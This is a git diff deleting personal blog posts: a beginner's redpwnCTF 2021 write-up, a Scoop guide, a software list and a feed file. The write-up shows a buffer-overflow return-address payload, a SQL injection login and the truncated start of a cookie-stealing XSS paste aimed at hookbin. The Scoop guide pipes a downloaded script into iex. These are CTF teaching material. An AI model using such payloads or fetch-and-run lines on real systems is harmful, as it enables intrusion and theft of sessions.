state, the return address -always goes to the assembly equivalent of an `exit()` function. Let's see if we -can overwrite it by giving too much input: - -``` -(gdb) break *0x000000000040142f -Breakpoint 1 at 0x40142f -(gdb) run < <(python3 -c "print('a' * 56)") --- Breakpoint 1 hit -- -(gdb) info registers -rax 0x0 0x0 -rbx 0x401430 0x401430 -rsi 0x7ffff7f7d883 0x7ffff7f7d883 -rdi 0x7ffff7f804e0 0x7ffff7f804e0 -rbp 0x6161616161616161 0x6161616161616161 -rsp 0x7fffffffd898 0x7fffffffd898 -rip 0x40142f 0x40142f <main+138> -``` - -As you can see, the $rbp register is completely overwritten with `0x61`'s. -Let's check the $rsp register to see where the `main()` function tries to go -after `ret`: - -``` -(gdb) run -Starting program: ret2generic-flag-reader -alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... -how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! -slap on some flavortext and there's no way rob will fire me now! -this is genius!! what do you think? -a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 --- Breakpoint 1 hit -- -(gdb) x/1gx $rsp -0x7fffffffd898: 0x3363326331633063 -``` - -Let's use CyberChef to see what `0x3363326331633063` is in ascii! - -![](/img/redpwn2021/cyberchef1.png) - -Hmm, it's backwards. Let's reverse it! - -![](/img/redpwn2021/cyberchef2.png) - -Let's find the address of the super generic flag reading function with gdb. - -``` -(gdb) print super_generic_flag_reading_function_please_ret_to_me -$2 = {<text variable, no debug info>} 0x4011f6 <super_generic_flag_reading_function_please_ret_to_me> -``` - -Now we're ready to craft a string that exploits the program and runs the secret -function! - -``` -a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 <- original - c0c1c2c3 <- ends up in $rsp -aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <- padding ( 0x28 * 'a' ) - - c 0 c 1 c 2 c 3 <- ends up in $rsp - 3 c 2 c 1 c 0 c <- reverse -0x3363326331633063 <- reverse (hex) -0x00000000004011f6 <- pointer we want in $rsp - f611400000000000 <- reverse - \xf6\x11\x40\x00\x00\x00\x00\x00 <- python bytestring - -exploit string: -b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00' -``` - -Now let's try it in an environment-less shell: - -``` -python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader -alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... -how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! -slap on some flavortext and there's no way rob will fire me now! -this is genius!! what do you think? -flag{this_is_a_dummy_flag_go_solve_it_yourself} - -Segmentation fault (core dumped) -sh-5.1$ -``` - -### rev/bread-making - -For this challenge, I first tried using iaito again to do some program flow -analysis. After giving up on that, I decided to instead brute-force the correct -steps by hand. This was a very long and boring process. - -First I used `strings` again to extract all the dialogue and user input strings -from the binary. Then I filtered them to not include obvious dialogue, but only -the possible user input strings. And this is the correct path that gives the -flag: - -``` -add flour -add salt -add yeast -add water -hide the bowl inside a box -wait 3 hours -work in the basement -preheat the toaster oven -set a timer on your phone -watch the bread bake -pull the tray out with a towel -open the window -unplug the oven -unplug the fire alarm -wash the sink -clean the counters -flush the bread down the toilet -get ready to sleep -close the window -replace the fire alarm -brush teeth and go to bed -``` - -In hindsight I could've probably made a simple python script to brute force all -remaining possibilities until it got longer output from the program, but -laziness took over and I decided that spending 45 minutes doing very dull work -was more worth it instead. - -## Willem's part in the CTF - -Hi, Willem here. - -In this part I will talk about my experience during the CTF and The -collaboration between me and Loek. - -### web/orm-bad - -This was also my first CTF, just like Loek, because of this was quite uncertain -about my skill level. For example, I have no experience using Linux systems, -but from what I learned before the CTF it is quite essential. My fear of not -being able to do any of the challenges disappeared quickly after we had -completed the beginner challenges. With a simple sql injection I got my first -real flag: - -``` -username: admin';-- -password: -flag{this_is_a_dummy_flag_go_solve_it_yourself} -``` - -We had planned to use github's projects to track progress on challenges, but -when you're actually doing a challenge it's the last thing you think about. -So, we didn't really know who was doing which challenge, but because we're a -team of two this wasn't a big problem. - -The most challenge were a bit to hard for me. Some I would get pretty far, but -needed Loek's help to solve it. Others I didn't even attempt to begin on. - -### misc/the-substitution-game - -One challenge I spend a lot of time on was __The substitution game__. In the -substitution game you had to substitute certain parts of the input string to -get the desired output string. I got to level for of 6. Level 1 and 2 to were -really simple, but at level 3 you started to need to really understand the -game. - -``` -level 3: -initial: aaaaaaaaaaaaaa (the amount of a's varied) -target: a -``` - -The solution is really simple, but it's pretty hard to get to it. You want to -remove 'a's so I started with `a => `, this turn all 'a's to None and left you -with an empty string. The problem is you can't substitute anything in an empty -string. The solution was `aa => a`, this removed an 'a' every time the initial -string got checked. To get this solution you had to realize, that the program -would always substitute the first instance it would come across, and the -program was set to do way more than needed substitutions. This would come handy -in the next level. - -``` -level 4: -initial: ggggggggggg (the amount of g's varied) -target: ginkoid -``` - -After completing level 3 this level looks very easy, just substitute the g's -like before `gg => g` and turn the last g into ginkoid `g => ginkoid` , but -this didn't work because of the way the program worked, after getting to a -valid solution I didn't stop and the single g in ginkoid would also change to -ginkoid. You would get infinite ginkoid. The solution was: - -``` -gg => ginkoid; ginkoidginkoid => ginkoid; ginkoidg => ginkoid -``` - -I began with noticing you couldn't just change the g, because that would also -change the g in ginkoid. so double gg becomes ginkoid. We have to use the same -trick as in level 3 to gain only one ginkoid `ginkoidginkoid => ginkoid` -because of the way we changed the single g's to ginkoid it would only work with -an even amount of g's. In the case there was an uneven amount of g's we would -be left with ginkoidg, so we remove it `ginkoidg => ginkoid`. - -I found this challenge really enjoyable and during this challenge I noticed -that I most enjoy the puzzle aspect of computer science, puzzling for hours to -fix a bug and then finally finding a solution. - -I didn't complete many challenges and wasn't really able to help Loek, but I -really enjoyed the CTF. It's a really fun way to test your skills and -knowledge. In the end I'm really happy with the score we (mostly Loek) got and -I think I’ll take part in other CTFs in the future. - -## Epilogue - -Of the 47 total challenges, me and Willem only solved 15. My end goal for this -CTF wasn't winning to begin with, so the outcome didn't matter for me. After -the second day I set the goal of reaching the 3rd page of the leaderboards as -my goal, and we reached 277'th place in the end which made my mom very proud! - -![](/img/redpwn2021/leaderboard.png) - -I enjoyed the CTF a lot! There were some very frustrating challenges, and I -still don't get how people solved web/wtjs, but that's fine. I did learn how to -use GDB and a lot of other things during the CTF which were all very rewarding. -I will definitely be participating in the 2022 redpwnCTF, and maybe even some -others if they're beginner friendly :) - -During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe -host one myself, though I have no clue where to start with that. Maybe keep an -eye out for that ;) - diff --git a/posts/scoop.md b/posts/scoop.md deleted file mode 100644 index aa60934..0000000 --- a/posts/scoop.md +++ /dev/null @@ -1,115 +0,0 @@ -[meta]: <title> (Scoop guide) -[meta]: <subtitle> (Handbook and quick explanations) -[meta]: <author> (Loek) -[meta]: <date> (July 22 2021) -[meta]: <tags> (windows, normie, software) -[meta]: <cover> (/img/scoop.png) - -Here's a quick reference for returning customers: - -```bash -# installing stuff -scoop install <program name> - -# removing stuff -scoop uninstall <program name> - -# updating all the stuff -scoop update * - -# update single stuff -scoop update <program name> - -# add a bucket / repository -scoop bucket add <bucket name> - -# searching for stuff -scoop search <search term> -# keep in mind that scoop's search is very slow -``` - -For more things look in the [wiki](https://github.com/lukesampson/scoop/wiki) -or in the wiki's [faq](https://github.com/lukesampson/scoop/wiki/FAQ). - -Now here's a list of things that people who don't use `cmd` get confused about: - -- Highlighting text in cmd selects it. If you've selected text, right click - copies it. If you don't have text selected, right click pastes it. -- Ctrl-c and ctrl-v won't work as you expect them to. The same goes for most - keyboard shortcuts commonly used in graphical ('normal') programs. Ctrl-c is - used to stop programs in cmd, and ctrl-v doesn't do anything. The keyboard - shortcut for pasting in cmd is shift+insert. -- Clicking inside the cmd window to place your text cursor doesn't work, - because clicking is only used for selection. You'll have to use your arrow - keys to move the cursor. You can also use ctrl-a to move it to the beginning - of a line, or ctrl-e to move it to the end of a line. -- It's normal for programs in cmd to not give any output and just silently - quit. This is normal and if a program doesn't output anything you can assume - it did the thing you wanted it to do. (though scoop is very verbose and will - print progress info most of the time) -- You can type new commands for the computer to execute once you see the prompt - again. Most of the time it looks something like this: - - ``` - C:\Windows\System32> - ``` - -## Installation (on a fresh system) - -```powershell -Set-ExecutionPolicy RemoteSigned -scope CurrentUser -iwr -useb get.scoop.sh | iex -``` - -## Some more things explained - -### Why scoop at all - -Scoop is a package manager. These are the primary way you install software on -Linux. The reason package managers are awesome, is because it's like an app -store in the sense that it's one central place to install all your software, -but without the downsides of an actual app store. - -If you develop your own software, you can write a scoop install script for it, -and create a pull request on GitHub. This way basically anyone can add software -into scoop, but it's still moderated better than for example wikipedia. - -Scoop also has more open source software, which is better (most of the time). -This means you're more likely to get 'better software' like 7-zip instead of -(bad) (paid) software like winrar or winzip. - -Scoop also uses powershell scripts to install software which means you won't -have to click through installers, or watch out for sneaky buttons that also -install some weird toolbar in your browser. - -### Buckets - -Buckets are a collection of similar programs. The way these are managed is -through something called a repository. This is just a central place for -multiple people to view and collaborate on scoop at once. - -Buckets you'll probably want to add are `extras`, `nonportable`, `games`, and -`java`. - -By adding a bucket you're not actually installing any software, but scoop will -check for updates on that bucket. - -If you want to for example install java using scoop, you'll first have to add -the `java` bucket by running `scoop bucket add java` in order for scoop to be -able to find the `openjdk` package. Then you can run `scoop install openjdk`, -and then you'll have java installed. - -### Brave (browser) - -Because the default brave browser in scoop isn't updated, I use the [everonline -repo](https://github.com/everonline/brave). Here's how to do that: - -```bash -scoop bucket add everonline https://github.com/everonline/brave.git -scoop install everonline/brave -``` - -## Awesome software - -[Here's](/post/software#pc-software) a list of the software I use pretty much every day, -and some of it is also available for windows using scoop! diff --git a/posts/software.md b/posts/software.md deleted file mode 100644 index 2a06fed..0000000 --- a/posts/software.md +++ /dev/null @@ -1,275 +0,0 @@ -[meta]: <title> (Software that I use) -[meta]: <subtitle> (Desktop software, server software, phone apps, everything) -[meta]: <author> (Loek) -[meta]: <date> (April 13 2021) -[meta]: <tags> (software, open source, server, phone) -[meta]: <cover> (/img/software.png) - -## PC software - -All of the software on this page is cool and I think you should try it. I also -use all of this software, and will update this page when I find new, *even -cooler* software to use instead. Most if not all of my configuration files -(dotfiles) are on my [github](https://github.com/lonkaars/dotfiles). You can -clone these and edit them to fit your needs, or you can use them as a reference -for when you can't figure out how to configure something. - -### Regular software - -- **Email client**: [neomutt](https://neomutt.org/). It's fast and simple, - though configuring it was a pain in the ass. I'm currently using it in - combination with mbsync and imapnotify to get notifications for new emails, - and sync my mailbox for fast email viewing. - -- **Music player**: [mpd](https://www.musicpd.org/) with - [ncmpcpp](https://github.com/ncmpcpp/ncmpcpp). This is the best music setup - I've ever used. I download all my music in .flac format and mpd *just works*. - Since mpd has a server-client structure, I could also use this to set up - multiple devices that can add music to a central queue at a party or - something, but I just use it to launch [an fzf mpc - wrapper](https://github.com/DanielFGray/fzf-scripts/blob/master/fzmp) to - quickly add music while I'm doing something else. - -- **Text editor**: [nvim](https://neovim.io/). It's vim. If you don't like vim, - you should try using it longer. If you still don't like vim, you can use - [code oss](https://appimage.github.io/Code_OSS/) which is visual studio code - but without Microsoft's creepy telemetry features. - -- **PDF viewer**: [zathura](https://pwmt.org/projects/zathura/). It's a pdf - viewer with vim bindings, and it works with my TeX editing setup's live - reload thingy. - -- **Image viewer**: [sxiv](https://github.com/muennich/sxiv). It's like zathura - but for images, but it also does a bunch of other stuff that I don't use very - often. - -- **Browser**: [brave](https://brave.com/). It's a normie-friendly chromium - fork with extra privacy features! I of course use brave (or any - chromium-based browser) with [tampermonkey](https://www.tampermonkey.net/), - [ublock origin](https://ublockorigin.com/), - [stylus](https://github.com/openstyles/stylus) and [dark - reader](https://darkreader.org/). - -- **Terminal**: [st](https://st.suckless.org/). It's fast and simple, nothing - to complain about. I have my [own st fork](https://github.com/lonkaars/st), - with a bunch of patches that make me happy. - -- **Password manager**: [bitwarden](https://bitwarden.com/). Open source - password manager that you can host yourself. It also has public servers which - are mostly free, but some features like time-based one-time passwords are - paid. All the clients are also open source. - -- **Document typesetting**: [LaTeX](https://www.latex-project.org/) (using - [latexmk](https://personal.psu.edu/~jcc8/software/latexmk/) with the - [XeTeX](http://xetex.sourceforge.net/) compiler). - -- **File browser**: [ranger](https://github.com/ranger/ranger). It's kind of - slow, but I use the bulkrename feature very often, and I haven't gotten used - to the perl `rename` script yet. - -- [unar](https://github.com/MacPaw/XADMaster). I like running `unar [archive]` - instead of using `7z`, `tar`, `unzip`, etc. It creates a new folder to unpack - to automatically so it does exactly what I need. - -### OS stuff - -- **Window manager**: [i3-gaps](https://github.com/Airblader/i3). I tried it - once and didn't switch back so this is a winner I guess. I've also heard good - things about [dwm](https://dwm.suckless.org/), though I haven't used it - myself. Most people complain about i3's limited configurability, but I - haven't ran into something that it doesn't do for me. - -- **Application launcher**: [rofi](https://github.com/davatorium/rofi). I've - been using rofi since I started using linux, and haven't switched to anything - else because it's *very* configurable, and has a dmenu mode for using it - instead of dmenu with other scripts. I use it primarily as my application - launcher, but I also have a hotkey setup to launch `bwmenu` which is a script - that fills in bitwarden passwords using rofi. - -- **Shell**: [zsh](https://www.zsh.org/) with [oh-my-zsh](https://ohmyz.sh/). - It's zsh, all the cool kids use it already. I do have `/usr/bin/sh` `ln -s`'d - to `/usr/bin/bash`, but I'd like to change that to `/usr/bin/dash`. Eh, I'll - get around to it someday. - -- **Status Bar**: [polybar](https://github.com/polybar/polybar). Simple bar, - gets the job done, the configuration files make me go insane though. It took - me a good half year of ricing to understand the polybar configuration files, - and I'm still not sure if I do. - -- **Notification daemon**: [dunst](https://dunst-project.org/). I used to use - deadd-notification-center, but that has waaaay too many haskell dependencies - on arch, so I don't use that anymore. - -- **Global keybinds**: - [xbindkeys](https://www.nongnu.org/xbindkeys/xbindkeys.html). Simple - configuration, works flawlessly, 10/10. - -- **Compositor**: [picom](https://github.com/yshui/picom). It's a simple - compositor. I use it to enable vsync for desktop windows, and I have it set - up to only show a drop shadow on floating i3 windows. - -### Closed source - -- [discord](https://discord.com/). Gamer. The only reason this is listed here - is because I use discord with - [betterdiscord](https://github.com/rauenzi/BetterDiscordApp) (which *is* - open-source). Betterdiscord allows you to use custom css themes, custom - plugins and a whole bunch of other cool stuff that regular discord doesn't - do. It's technically against TOS, but I don't really care as I only use - quality of life improvement plugins. - -- [figma](https://figma.com). It's the designing software that I use to create - user interface or website mockups. It's easily accessible though a browser, - and it uses webassembly so it's also decently fast. It's free for personal - use. - -## Server software - -This is the software that runs on my home server. - -### Email - -I used [Luke Smith's](http://lukesmith.xyz/) -[emailwiz](https://github.com/LukeSmithxyz/emailwiz) to set up my email server. -The script installs and configures an email setup with -[postfix](http://www.postfix.org/), [dovecot](https://www.dovecot.org/), -[spamassassin](https://spamassassin.apache.org/) and -[opendkim](http://www.opendkim.org/). - -### Etesync - -I run my own [etesync](https://www.etesync.com/) server for synchronizing my -to-do lists, calendar and contacts. It's relatively easy to set up, and has a -web interface that you can use with your own self-hosted instance. - -### Bitwarden - -I also run my own [bitwarden](https://github.com/bitwarden/server) server. It -uses docker with docker-compose, which are two things that I'm supposed to know -about, but I don't. - -I'm working on a connect 4 website myself, and I'm planning on learning to use -docker with docker-compose to make it easier to run the seperate parts that are -needed to host the project. - -### Git - -I have a [cgit](https://git.zx2c4.com/cgit/about/) server to host my git -repositories on <https://git.pipeframe.xyz>, and I use -[gitolite](https://gitolite.com/gitolite/) for ssh git push access. Cgit is -very easy to set up, and I like it very much. Gitolite on the other hand is a -pain in the ass to set up, because the documentation is not that great. If -you're planning on using gitolite on your own server, set the umask in -`~/.gitolite.rc` of your server's git account to `0022`. - -### SFTP - -I have two semi-public sftp accounts set up on my server: `media` and `sftp`. -`sftp` is for generic file sharing, and `media` is for my media. Both accounts -have tty login disabled and are chroot-jailed to /var/media and /var/sftp. - -## Phone apps - -These are the apps that I use on my phone. I recently upgraded my 2017 Nokia 6 -to a Google Pixel 4a (sunfish). It's a great phone! You can root it or flash -custom rom's very easily, and it gave me new appreciation for the basic -features of a smartphone. The Pixel 4a has really good haptics. They're almost -iPhone level, though I won't be using iPhones any time soon. - -I flashed [CalyxOS](https://calyxos.org/) as soon as it was 5 minutes out of -the box, but ended up not liking it because of it's nonexistant root support. -I'm currently using [LineageOS](https://lineageos.org/) 18.1, rooted using -[magisk](https://github.com/topjohnwu/Magisk). - -### Open source - -- **One-time password generator**: [andotp](https://github.com/andOTP/andOTP) - -- **App store**: [aurora store](https://gitlab.com/AuroraOSS/AuroraStore). This - app works better when you're rooted, but it's way better than the google play - store. - -- **App store**: [aurora f-droid](https://gitlab.com/AuroraOSS/auroradroid) - -- **Password manager**: [bitwarden](https://github.com/bitwarden/mobile) - -- **Browser**: [bromite](https://www.bromite.org/). This is basically ungoogled - chromium but for mobile. - -- **Calendar**: [etar](https://github.com/Etar-Group/Etar-Calendar) - -- [etesync](https://github.com/etesync/android) - -- **File browser**: [material - files](https://github.com/zhanghai/MaterialFiles). It looks sexy, it's free, - it's awesome. - -- **Email client**: [k-9](https://k9mail.app/). - -- **Maps**: [osmand](https://osmand.net/). - -- **Music player**: [shuttle](https://www.shuttlemusicplayer.com/). It looks - sexy, it's free, it's awesome. - -- **Instant messenger**: [signal](https://signal.org/). [papa musk said - it](https://twitter.com/elonmusk/status/1347165127036977153). - -- **Manga reader**: [tachiyomi](https://tachiyomi.org/) - -- **To-do lists**: [tasks.org](https://tasks.org/). This is easily the best - to-do app I've ever used, and it integrated very well with etesync. - - If you're cheap (like me), you can get 'free' pro by downloading this app - through f-droid instead of the play store. It's still nice to donate. - -- **Smart home control**: [home assistant](https://www.home-assistant.io/). - [the whole spiel](/post/homeauto). - -- **Notes**: [leaflet](https://github.com/PotatoProject/Leaflet). It's - basically Google Keep but open source and without Google. It's part of the - PotatoProject which is a custom Android rom, and there were plans for an open - source notes sync server that you could host yourself, but I haven't seen - that pop up yet. - - The app is written in Flutter, and did have choppy scrolling animations on my - old phone. I'm not sure if that was a bug or my old phone just being - underpowered, but it's something I want to mention anyways. - -- **Weather**: [geometric - weather](https://f-droid.org/en/packages/wangdaye.com.geometricweather/). - It's really good. Good animations, live wallpaper, fast, etc. - -- **RSS Reader**: [tiny tiny - rss](https://www.f-droid.org/en/packages/org.fox.tttrss/). This app requires - that you host your own tiny tiny rss server, but I do and the app works - great! - -- **Myanimelist client**: [moelist](https://github.com/axiel7/MoeList). I don't - know how I found this app but it's a real gem. If you use MAL you should - download this app. - -- **PDF reader**: [pdf viewer - plus](https://f-droid.org/en/packages/com.gsnathan.pdfviewer/). This is the - only one that's actually decent. Good UI, good UX, pretty fast rendering. - 9/10 - -### Requires root - -- **Ad-blocker**: [adaway](https://adaway.org/). It does have a rootless mode, - though the app warns you that it's slower and impacts your battery life - negatively. - -- **Theme engine**: [substratum](https://github.com/substratum/substratum). - Substratum requires root on android 9+, unless you're on stock samsung (one - ui). Android 8 and under users can buy - [andromeda](https://play.google.com/store/apps/details?id=projekt.andromeda). - Samsung users can buy - [synergy](https://play.google.com/store/apps/details?id=projekt.samsung.theme.compiler). - They're both developed by the same people behind substratum, but they're not - open source. - -### Closed source - -- **Reddit client**: - [sync](https://play.google.com/store/apps/details?id=com.laurencedawson.reddit_sync) - diff --git a/public/atom.xml b/public/atom.xml deleted file mode 100644 index 9f9430b..0000000 --- a/public/atom.xml +++ /dev/null @@ -1,4403 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"> - <channel> - <title>Loek's excruciatingly interesting blog - This is where I post updates on things that I do - en-us - https://blog.pipeframe.xyz/atom.xml - - - Connect 4 beta live! - connect4 - /post/connect4 - April 24 2021 - <div class="contentWrapper"> - <p> - My connect four website is currently online as a public beta. You can visit the -website at - <a href="https://connect4.pipeframe.xyz"> - https://connect4.pipeframe.xyz - </a> - . A list of known bugs is on the -homepage, and all other issues should be submitted to - <a href="https://github.com/lonkaars/connect-4/issues"> - GitHub - </a> - . - </p> - <p> - If I encounter some very interesing bug that I think deserves it's own blog -post I'll write one about it of course. I have one more week from now to worry -about the connect four website, but after that I'm going to start preparing for -my school exams. - </p> -</div> - - - My git setup - git - /post/git - April 28 2021 - <div class="contentWrapper"> - <h2 id="overview"> - Overview - </h2> - <p> - I have two mechanisms set up for accessing my git server. I use gitolite for -ssh access and permission management. I also have cgit set up which generates -html pages for viewing your repositories and also hosts your repositories over -http, or https if you have it set up. - </p> - <h2 id="ssh-access-with-gitolite"> - SSH Access with gitolite - </h2> - <p> - Gitolite was a pain in the ass to set up because I didn't understand umasks -before I started trying to set it up. A - <em> - umask - </em> - is like the opposite of what -you'd enter when running - <code> - chmod - </code> - . For example: if I run - <code> - touch test - </code> - , I will -now have a file with the same permissions as - <code> - chmod 644 - </code> - . That looks something -like this: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - $ touch test - </span> - $ ls -l - <!-- --> - total bla bla - <!-- --> - -rw-r--r-- 1 loek users 0 Apr 28 12:28 test - <!-- --> - $ chmod 644 test - <!-- --> - $ ls -l - <!-- --> - total bla bla - <!-- --> - -rw-r--r-- 1 loek users 0 Apr 28 12:28 test - <!-- --> - $ # notice the same permissions on the 'test' file - </code> - </div> - </pre> - <p> - If I want gitolite to create repositories with default permissions so other -users can read the repositories, I have to set my umask to the opposite of 644. -Here's a quick explanation of - <code> - ls -l - </code> - 's output: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - -rw-r--r-- * user group size date time filename - </span> - |└┬┘└┬┘└┬┘ - <!-- --> - | | | └all users - <!-- --> - | | └owner group - <!-- --> - | └owner user - <!-- --> - └type - </code> - </div> - </pre> - <p> - Each digit in a - <code> - chmod - </code> - command sets the permission for the file owner, file -group, then everyone. That looks something like this: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - $ chmod 644 test - </span> - <!-- --> - decimal: 6 4 4 - <!-- --> - binary: 110 100 100 - <!-- --> - ls -l: - rw- r-- r-- - </code> - </div> - </pre> - <p> - Then we take the opposite of this to get the umask: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - $ chmod 755 directory -R - </span> - <!-- --> - ls -l: d rwx r-x r-x - <!-- --> - binary: 000 010 010 - <!-- --> - decimal: 0 2 2 - </code> - </div> - </pre> - <p> - And now my - <code> - .gitolite.rc - </code> - : - </p> - <pre> - <div class="prismjs"> - <code class="language-perl" style="white-space:pre"> - <span class="token variable"> - %RC - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - </span> - <span class=""> - UMASK - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token number"> - 0022 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - ROLES - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - READERS - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - WRITERS - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - ENABLE - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - 'ssh-authkeys' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - 'git-config' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - 'daemon' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - 'gitweb' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - ; - </span> - </code> - </div> - </pre> - <h2 id="https-access-with-cgit"> - HTTP(S) Access with cgit - </h2> - <p> - Cgit is probably the easiest thing to set up. It has great built-in -documentation ( - <code> - man 5 cgitrc - </code> - ). Pretty much all configuration is in - <code> - /etc/cgitrc - </code> - (css/syntax highlighting isn't in there). The only reason I'm -posting my config here is because for some reason, the order of the options in -cgit's config matters: - </p> - <pre> - <div class="prismjs"> - <code class="language-rc" style="white-space:pre"> - <span class=""> - # - </span> - # cgit config - <!-- --> - # see cgitrc(5) for details - <!-- --> - <!-- --> - cache-size=0 - <!-- --> - enable-commit-graph=1 - <!-- --> - <!-- --> - css=/cgit.css - <!-- --> - logo=/cgit.png - <!-- --> - <!-- --> - virtual-root=/ - <!-- --> - remove-suffix=1 - <!-- --> - <!-- --> - root-title=git :tada: - <!-- --> - <!-- --> - ## - <!-- --> - ## List of common mimetypes - <!-- --> - ## - <!-- --> - mimetype.gif=image/gif - <!-- --> - mimetype.html=text/html - <!-- --> - mimetype.jpg=image/jpeg - <!-- --> - mimetype.jpeg=image/jpeg - <!-- --> - mimetype.pdf=application/pdf - <!-- --> - mimetype.png=image/png - <!-- --> - mimetype.svg=image/svg+xml - <!-- --> - <!-- --> - # Highlight source code with python pygments-based highlighter - <!-- --> - source-filter=/usr/lib/cgit/filters/syntax-highlighting.py - <!-- --> - <!-- --> - # Format markdown, restructuredtext, manpages, text files, and html files - <!-- --> - # through the right converters - <!-- --> - about-filter=/usr/lib/cgit/filters/about-formatting.sh - <!-- --> - <!-- --> - ## - <!-- --> - ## Search for these files in the root of the default branch of repositories - <!-- --> - ## for coming up with the about page: - <!-- --> - ## - <!-- --> - readme=:README.md - <!-- --> - readme=:readme.md - <!-- --> - readme=:README.rst - <!-- --> - readme=:readme.rst - <!-- --> - readme=:README.txt - <!-- --> - readme=:readme.txt - <!-- --> - readme=:README - <!-- --> - readme=:readme - <!-- --> - readme=:INSTALL.md - <!-- --> - readme=:install.md - <!-- --> - readme=:INSTALL.mkd - <!-- --> - readme=:install.mkd - <!-- --> - readme=:INSTALL.rst - <!-- --> - readme=:install.rst - <!-- --> - readme=:INSTALL.html - <!-- --> - readme=:install.html - <!-- --> - readme=:INSTALL.htm - <!-- --> - readme=:install.htm - <!-- --> - readme=:INSTALL.txt - <!-- --> - readme=:install.txt - <!-- --> - readme=:INSTALL - <!-- --> - readme=:install - <!-- --> - <!-- --> - scan-path=/mnt/scf/git/repositories - </code> - </div> - </pre> -</div> - - - Loek's excruciatingly interesting blog - index - /post/index - April 12 2021 - <div class="contentWrapper"> - <p> - Welcome to my blog page! This is where I post updates on things that I do such -as: - </p> - <ul> - <li> - Cool open source software that I think you should use - </li> - <li> - How to set up self-hosted applications - </li> - <li> - Rants about Microsoft Windows - </li> - <li> - Maybe some recipes I dunno - </li> - </ul> - <p> - The page you're looking at right now is also open-source! The code for this -page can be found on - <a href="https://github.com/lonkaars/blog"> - GitHub - </a> - , and should -also be available on - <a href="https://git.pipeframe.xyz"> - my private git server - </a> - . - </p> -</div> - - - redpwnCTF 2021 - redpwn2021 - /post/redpwn2021 - July 13 2021 - <div class="contentWrapper"> - <p> - This is the first 'real' CTF I've participated in. About two weeks ago, a -friend of mine was stuck on some challenges from the Radboud CTF. This was a -closed CTF more geared towards beginners (high school students), and only had a -few challenges which required deeper technical knowledge of web servers and -programming. Willem solved most of the challenges, and I helped solve 3 more. - </p> - <p> - Apart from those challenges, basically all my hacking knowledge comes from -computerphile videos, liveoverflow videos and making applications myself. - </p> - <h2 id="challenges"> - Challenges - </h2> - <h3 id="webpastebin-1"> - web/pastebin-1 - </h3> - <p> - This challenge is a simple XSS exploit. The website that's vulnerable is -supposed to be a clone of pastebin. I can enter any text into the paste area, -and it will get inserted as HTML code into the website when someone visits the -generated link. - </p> - <p> - The challenge has two sites: one with the pastebin clone, and one that visits -any pastebin url as the website administrator. The goal of this challenge is -given by it's description: - </p> - <blockquote> - <p> - Ah, the classic pastebin. Can you get the admin's cookies? - </p> - </blockquote> - <p> - In JS, you can read all cookies without the - <code> - HttpOnly - </code> - attribute by reading - <code> - document.cookie - </code> - . This allows us to read the cookies from the admin's browser, -but now we have to figure out a way to get them sent back to us. - </p> - <p> - Luckily, there's a free service called - <a href="https://hookbin.com/"> - hookbin - </a> - that -gives you an http endpoint to send anything to, and look at the request -details. - </p> - <p> - Combining these two a simple paste can be created: - </p> - <pre> - <div class="prismjs"> - <code class="language-html" style="white-space:pre"> - <span class="token tag punctuation"> - < - </span> - <span class="token tag"> - script - </span> - <span class="token tag punctuation"> - > - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript keyword"> - var - </span> - <span class="token script language-javascript"> - post - </span> - <span class="token script language-javascript operator"> - = - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript keyword"> - new - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript class-name"> - XMLHttpRequest - </span> - <span class="token script language-javascript punctuation"> - ( - </span> - <span class="token script language-javascript punctuation"> - ) - </span> - <span class="token script language-javascript punctuation"> - ; - </span> - <span class="token script 